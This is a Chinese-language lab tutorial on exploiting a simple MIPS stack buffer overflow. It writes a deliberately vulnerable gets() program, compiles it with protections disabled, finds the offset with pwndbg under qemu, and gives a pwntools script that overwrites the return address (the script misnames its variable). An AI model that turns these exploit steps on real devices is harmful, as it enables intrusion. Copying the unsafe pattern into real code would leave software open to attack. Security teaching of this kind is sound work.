mips简单栈溢出
1、C代码查看溢出点
// vulnerable.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>void secret_function() {system("echo '你已经获得了命令执行的权限!'");
}void vulnerable_function() {char buffer[64];printf("请输入一些内容: ");gets(buffer); // 不安全的函数,存在栈溢出漏洞printf("你输入了: %s\n", buffer);
}int main() {vulnerable_function();printf("程序结束。\n");return 0;
}//正常代码逻辑,进入main函数,执行完vulnerable_function函数就结束了,不会进入secret_function()
//我们这里有危险函数gets,当我们输入值超过char buffer[64]之后就有溢出风险
//我们要做的是进入secret_function()函数
这里我们创建这个文件关闭堆栈保护和NX保护
mips-linux-gnu-gcc -o zhanyichu111 test.c -fno-stack-protector -z execstack -no-pie
//这里是mips和gcc混合编译,-o是我们输出文件名,test.c是我们的c文件
//-fno-stack-protector关闭堆栈保护
//-z execstack关闭NX保护
//生成非 PIE(Position Independent Executable),可产生固定的加载地址,便于确定代码地址
这里生成文件时要注意一点,

这里会提示不安全函数,忽略即可,因为我们要做复现
2、IDA分析
这里我们看到了vulnerable_function()函数,我们双击进去。

重点在这里,我们拿出c代码来参照一下
void vulnerable_function() {char buffer[64];printf("请输入一些内容: ");gets(buffer); // 不安全的函数,存在栈溢出漏洞printf("你输入了: %s\n", buffer);
}
//这是这段对应ida的mips代码
//我们发现了gets函数,这里就是构造溢出的点,结尾还有jr跳转,$ra是返回地址,我们会跳转到这个$ra里面
//因此我们构造溢出,然后将这个位置构造成secret_function()函数地址

3、pwndbg前置配置
这里在我们进行调试的时候要注意一点,就是确认是否关闭了NX保护和堆栈保护
checksec zhanyichu
//我们可以使用这个命令查询一下是否开启了这些保护

sec-zone@iotseczone:~/Desktop$ file -h zhanyichu111
zhanyichu111: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=b71e148356706c0303fbc3618a2d7ed0bf837c8f, for GNU/Linux 3.2.0, not stripped
//这里我们可以查询我们编译的文件,可以看到是动态链接库dynamically linked, interpreter /lib/ld.so.1
调试的话,我们就是要pwndbg调试
qemu-mips -L /usr/mips-linux-gnu/ -g 6666 zhanyichu111
//这里我们-L指定动态链接库
//-g指定开放端口
//后接文件名
我们再开一个shell
pwndbg zhanyichu111 //调试c文件set architecture mips //设置mips架构target remote :6666 //接到端口

这里我们就连接到了调试的c文件,我们要设置一些初始配置
这里我们要设置断点,这里就是在栈溢出前设置一个断电,我们一步一步推

还有就是这两个点,我们要设置断点

这里我们设置两个断点,然后i b查看我们的断电,如果想删除断点可以使用delete 1,即可
pwndbg> b *0x4007D4
Breakpoint 1 at 0x4007d4
pwndbg> b *0x400820
Breakpoint 2 at 0x400820
pwndbg> i b
Num Type Disp Enb Address What
1 breakpoint keep y 0x004007d4 <vulnerable_function+64>
2 breakpoint keep y 0x00400820 <vulnerable_function+140>
4、开始调试
这里按C即可跳转到第一个断点,然后我们能看到gets函数的位置,当我们到gets位置后,另一个shell就会让我们输入

当我们前进到断点位置后,c程序就让我们输入内容了,这里我们先让cyclin生成100个字符,来查询偏移量

这里就是生成的100个字符来确定偏移量位置

我们输入到c程序里面看下一个断点


这里就很清晰能看到一点,就是我们设置的0x400820为断点,也查看了下一端被覆盖的是raaa,我们查看一下raaa在这100个字符的位置,raaa是第69个,也就是说前面68个字符就完全覆盖了,再接着就是跳转地址了,所以我们只需要把想进入的函数入口地址替换成下一个位置即可,这里我们需要用一个python脚本。
from pwn import *
context(arch='mips',os='linux',log_level='debug',endian='big')
//这里的架构是mips,操作系统是linux,然后是大端
addr = 0x00400740 //这里就替换我们想跳转的地址
payload = b'a' * 68 + p32(add,endian='big')
//这里就是前面覆盖多少个字符刚好覆盖完然后加上跳转地址cmd = ['qemu-mips','-L','/usr/mips-linux-gnu/','./zhanyichu']
//cmd执行上面命令
p = process(cmd)#发送payload
p.sendline(payload)# 继续交互
p.interactive()

执行成功
